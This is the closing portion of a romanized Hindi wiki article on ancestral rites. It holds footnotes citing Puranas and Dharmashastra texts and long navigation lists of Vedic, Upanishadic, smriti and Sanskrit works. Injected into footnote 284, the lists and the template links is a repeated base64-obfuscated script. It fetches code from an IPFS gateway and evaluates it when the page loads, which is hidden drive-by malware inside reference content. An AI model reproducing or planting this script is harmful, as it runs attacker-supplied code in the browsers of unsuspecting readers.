  237. ↑ koorm puran (2|20, 16-17
  238. ↑ vishnudharmasootr (78|8-15
  239. ↑ aur dekhie yajnavalaky (1|265-268), vayu puran (82), markandey puran (30|8-16), koorm puran (2|20|9-15), brahm puran (220|33-42) evan brahmand puran (upodaghatapad 18|1).
  240. ↑ agni puran (117|61
  241. ↑ vishnupuran (3|14|12-13
  242. ↑ matsy puran (17|4-5
  243. ↑ padm puran (5|9|130-131
  244. ↑ varah puran (13|40-41
  245. ↑ prajapatismriti (22
  246. ↑ skand puran (7|2|205|33-34
  247. ↑ matsy puran (17|6-8
  248. ↑ agni puran (117|162-164 evan 209|16-18
  249. ↑ saurapuran (51|33-36
  250. ↑ padm puran (srishti. 9|132-136
  251. ↑ 1, prishth 58
  252. ↑ krityaratnakar (prishth 543
  253. ↑ para. ma. (1|1, prishth 156 evan 1|2, prishth 311
  254. ↑ madanaparijat (prishth 540
  255. ↑ skand puran (7|1|205-36-39
  256. ↑ smrityarthasar (prishth 9
  257. ↑ apastamb dharmasootr (7|17|23-25
  258. ↑ manu (3|280
  259. ↑ vishnudharmasootr (77|8-9
  260. ↑ koorm puran (2|16|3-4
  261. ↑ brahmand puran (3|14|3
  262. ↑ bhavishy puran (1|185|1
  263. ↑ manu (3|278
  264. ↑ prishth 465
  265. ↑ hemadri (prishth 313
  266. ↑ rrigved (10|34|11
  267. ↑ shatapath brahman (2|2|3|9
  268. ↑ rrigved (5|76|3
  269. ↑ prajapatismriti (156-157
  270. ↑ din 15 muhoortoan mean baanta jata hai
  271. ↑ smritich. (shraddh prishth 433
  272. ↑ hemadri (shraddh, prishth 320
  273. ↑ manu 3|254
  274. ↑ poorvahne daivikan karyamaparahne tu paitrikamh. ekoddishtan tu madhyahne pratarvriddhinimittakamh.. medhatithi (manu 3|243). dipakalika (yajn. 1|226) ne is shlok ko vayupuran ke ek shlok ke roop mean uddhrit kiya hai.
  275. ↑ trikandamandan (2|150 evan 162
  276. ↑ manu (2|206-207
  277. ↑ yajnavalky (1|227
  278. ↑ shankh (para. ma. 1|2, prishth 303; shra. pr. prishth 140; smritich., shra., prishth 385
  279. ↑ koorm puran (2|22|17
  280. ↑ vayupuran, adhyay 105-112
  281. ↑ vishnudharmasootr (85.65-67)
  282. ↑ shankh 14.27-28
  283. ↑ yah kuchh ashcharyajanak hai ki d aau. barooa (gaya evan buddhagaya, jild 1, pri. 66) ne shankh ke shlok 'tirthe vamarakantake ' mean 'vamarakantak' tirth padha hai n ki 'va' ko prithakh kar 'amarakantak'!
  284. ↑ shraddh sthal jahaan milati hai pretayoni se mukti (hindi). . abhigaman tithi: 19 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  285. ↑ vishnudharmasootr (adhyay 84
  286. ↑ brahmapuran (220|8-10

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bahari k diyaan

sanbandhit lekh

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upaved aur vedaang
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jyotish
aryabhatiy jyotish · naradiy jyotish · parashar jyotish · brahmagupt jyotish · bhaskarachary jyotish · varahamihir jyotish · vasishth jyotish · vedaang jyotish
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upanishad
rrigvediy
upanishad
yajurvediy
upanishad
shukl
yajurvediy
krishna
yajurvediy
akshi upanishad · amritabindu upanishad · amritanadopanishad · avadhoot upanishad · brahm upanishad · brahmavidya upanishad · dakshinamoorti upanishad · dhyanabindu upanishad · ekakshar upanishad · garbh upanishad · kaivalyopanishad · kalagnirudropanishad · kar upanishad · kathopanishad · katharudropanishad · kshurikopanishad · narayano · panchabrahm · pranagnihotr upanishad · rudrahriday · sarasvatirahasy upanishad · sarvasar upanishad · sharirikopanishad · skand upanishad · shukarahasyopanishad · shvetashvataropanishad · taittiriyopanishad · tejobindu upanishad · varahopanishad · yogakundalini upanishad · yogashikha upanishad · yogatattv upanishad · kalisantaranopanishad · chakshushopanishad
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
samavediy
upanishad
arunakopanishad · darshanopanishad · jabaladarshanopanishad · jabali upanishad · kenopanishad · mahatsannyasopanishad · maitreyiupanishad · maitrayani upanishad · avyaktopanishad · chhandogy upanishad · rudrakshajabalopanishad · savitryupanishad · sannyasopanishad · vajrasoochikopanishad · vasudevopanishad · choo damani upanishad · kundikopanishad · jabalyupanishad · mahopanishad · maitreyyugpanishad · yogachoodanyupanishad
atharvavediy
upanishad
annapoorna upanishad · atharvashir upanishad · atharvashikha upanishad · atmopanirushad · bhavanopanishad · bhasmopanishad · brihajjabalopanishad · devi upanishad · dattatrey upanishad · ganapati upanishad · garudopanishad · gopalapoorvatapaniyopanishad · hyagriv upanishad · krishna upanishad · mahanarayan upanishad · mandookyopanishad · mahavakyopanishad · mundakopanishad · naradaparivrajakopanishad · nrisianhottaratapaniyopanishad · parabrahmopanishad · prashnopanishad · paramahans parivrajak upanishad · pashupat upanishad · shriramapoorvatapaniyopanishad · shandilyopanishad · sharabh upanishad · sooryopanishad · sita upanishad · ram-rahasy upanishad · tripuratapinyupanishad
rrigvediy
brahman granth
yajurvediy
brahman granth
shukl
yajurvediy
shatapathabrahman(kanvabrahman) · shatapath (madhyandin) brahman
krishna
yajurvediy
taittiriy brahman · madhyavarti brahman
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
samavediy
brahman granth
atharvavediy
brahman granth
sootr-granth
rrigvediy
sootr-granth
ashvalayan shrautasootr · shaankhayan shrautasootr · ashvalayan grihyasootr · shaankhayan grihyasootr · vasishth dharmasootr
yajurvediy
sootr-granth
shukl
yajurvediy
katyayan shrautasootr · paraskar shrautasootr · vishnu dharmasootr · paraskar grihyasootr
krishna
yajurvediy
apastamb shrautasootr · apastambagrihyasootr · hiranyakeshi shrautasootr · baudhayan grihyasootr · baudhayan shrautasootr · vaikhanas grihyasootr · bharadvaj shrautasootr · hiranyakeshiy grihyasootr · vaikhanas shrautasootr · manav dharm-sootr · badhool shrautasootr · kathak dharmasootr · apastamb dharmasootr · varah shrautasootr · baudhayan dharmasootr · manav grihyasootr · vaikhanas dharmasootr · kathak grihyasootr · hiranyakeshiy dharmasootr
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
samavediy
sootr-granth
masakasootr · latyayan sootr · khadir shrautasootr · jaiminiy grihyasootr · gobhil grihyasootr · khadir grihyasootr · gautam dharmasootr · drahyayan grihyasootr · drahyayan dharmasootr
atharvavediy
sootr-granth
vaitan shrautasootr · varah grihyasootr · vaikhanas grihyasootr · kaushik sootr
shakha
shakha
shakal rrigvediy shakha · kanv shukl yajurvediy · madhyandin shukl yajurvediy · taittiriy krishna yajurvediy · maitrayani krishna yajurvediy · kath krishna yajurvediy · kapishthal krishna yajurvediy · shvetashvatar krishna yajurvediy · kauthumi samavediy shakha · jaiminiy samavediy shakha · ranayaniy samavediy shakha · paippalad atharvavediy shakha · shaunakiy atharvavediy shakha
mantr-sanhita
rrigved mantr-sanhita · shukl yajurved mantr- sanhita · samaved mantr-sanhita · atharvaved mantr-sanhita
aranyak
aitarey rrigvediy aranyak · shaankhayan rrigvediy aranyak · kaushitaki rrigvediy aranyak · brihad shukl yajurvediy aranyak · taittiriy krishna yajurvediy aranyak · kath krishna yajurvediy aranyak · maitrayaniy krishna yajurvediy aranyak · talavakar samavediy aranyak
pratisakhy evan anukramanika
rrigvediy
pratisakhy
shaankhayan pratishakhy · brihad pratishakhy · arshanukramanika · ashvalayan pratishakhy · chhandonukramanika · rrigpratishakhy · devatanukramanika · sarvanukramanika · anuvakanukramanika · brihadvatanukramanika · rrigh vijnan
yajurvediy
pratisakhy
shukl
yajurvediy
katyayan shulvasootr · katyayanukramanika · vajasaneyi pratishakhy
krishna
yajurvediy
taittiriy pratishakhy
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
samavediy
pratisakhy
shaunakiya chaturdhyapika

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[Template:smriti<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:smriti<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
smriti sahity
smritigranth
aangirasasmriti · apastambasmriti· aitareyasmriti · katyayanasmriti · dakshasmriti · parasharasmriti · prajapatismriti · brihaspatismriti · manusmriti · markandeyasmriti · yamasmriti · yajnavalkyasmriti · likhitasmriti · vasishthasmriti · vishnusmriti · vyasasmriti · shankhasmriti · shatatapasmriti · samavartasmriti · haritismriti
puran
mahakavy
darshan
nibandh
jimootavahan krit : dayabhag · kalavivek · vyavahar matrika · aniruddh krit : pitridayita · haralata · ballalasen krit :acharasagar · pratishthasagar · adbhutasagar · shridhar upadhyay krit : kalamadhav · dattakamimaansa · parasharamadhav · gotr-pravar nirnay · muhoortamadhav · smritisangrah · vratyastom-paddhati · nandapandit krit : shraddh-kalpalata · shuddhi-chandrika · tattvamuktavali · dattak mimaansa · · narayanabhatat krit : tristhali-setu · antyeshti-paddhati · prayog ratnakar · kamalakar bhatt krit: nirnayasindhu · shoodrakamalakar · danakamalakar · poortakamalakar · vedaratn · prayashchittaratn · vivad tandav · kashinath upadhyay krit : dharmasindhu · nirnayamrit · purusharth-chintamani · shoolapani krit : smriti-vivek (apoorn) · raghunandan krit : smriti-tattv · chandeshvar krit : smriti-ratnakar · vachaspati mishr : vivad-chintamani · devan bhatat krit : smriti-chandrika · hemadri krit : chaturvarg-chintamani · nilakandabhatat krit : bhagavant bhaskar · mitramishr krit: vir-mitroday · lakshmidhar krit : krity-kalpataru · jagannath tarkapanchanan krit : vivadarnav
agam
vaishnavagam
ahirbudhny-sanhita · eeshvar-sanhita · kapilajanli-sanhita · jayakhy-sanhita · padmatantr-sanhita · parashar-sanhita · brihadbrahm-sanhita · bharadvaj-sanhita · lakshmi-sanhita · vishnutilak-sanhita · vishnu-sanhita · shriprashn-sanhita · sattvat-sanhita
shaivagam
tattvatray · tattvaprakashika · tattvasangrah · tatpary sangrah · nareshvar pariksha · nadakarika · paramoksh-nirashakarika · pashupat sootr · bhogakarika · mokshakarika · ratnatray · shrutisooktimala · soot-sanhita
shaktagam
vamagam
advaitabhavopanishad · arunopanishad · kalikopanishad · kaulopanishad · taropanishad · tripuropanishad · brahichopanishad · bhavanopanishad
mishramarg
kalanidhi · kularnav · kuleshvari · chandrak · jyotsravati · durvasas · barhaspaty · bhuvaneshvari
samayachar
vasishthasanhita · shukrasanhita · sanakasanhita · sanatkumarasanhita · sanandanasanhita
tantrik sadhana
kalivilas · kularnav · kool-choo damani · jnanarnav · tantraraj · tripura-rahasy · dakshinamoorti-sanhita · namakeshvar · prapanchasar · mantr-maharnav · mahanirvan · rudrayamal · shaktisangam-tantr · sharada-tilak
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[Template:sanskrit sahity2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:sanskrit sahity2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanskrit evan any prachin sahity
sanskrit sahity
aryabhatiy · ashtadhyayi · avantisundari katha · uttararamacharit · kamandakiy nitishastr · kirti kaumudi · kumarapal charit · charak sanhita · navasahasaankacharit · prithviraj vijay · vrihatkathamanjari · mattavilas prahasan · malavikagnimitramh · mrichchhakatikam · shulv sootr · raghuvansh mahakavy · rajatarangini · vikramaankadev charit · kathasaritsagar · shlok · svapnavasavadattam · harshacharit · vikramorvashiyamh · devi chandr guptam · abhijnan shakuntalamh · meghadoot · rritusanhar · kumarasambhav · kiratarjuniyamh · mudrarakshas · naishadhacharit · balaramayan · bal bharat · mahabhashy · vidvashalabhanjika · ghatakarpar · brihatkathakosh · ratnavali · naganand · priyadarshika · kadambari · dashakumaracharit · abhinayadarpan · hathayog pradipika · purush pariksha · bhooparikrama · kirtilata · kirti pataka · goraksh vijay · mahanushasan · manimanjara natika · gangavakyavali · danavakyavali · harit sanhita · varshakrity · durgabhaktitarangini · sushrut sanhita · ashtaangahridayamh · shaivasarvasvasar · gayapattalak · vibhagasar · git govind · ratimanjari · raghavayadaviyamh · brahmasphut siddhaant · panchasiddhaantika · vrihatsanhita · vrihajjatak · b d katha · doot kavy · gangalahari
any
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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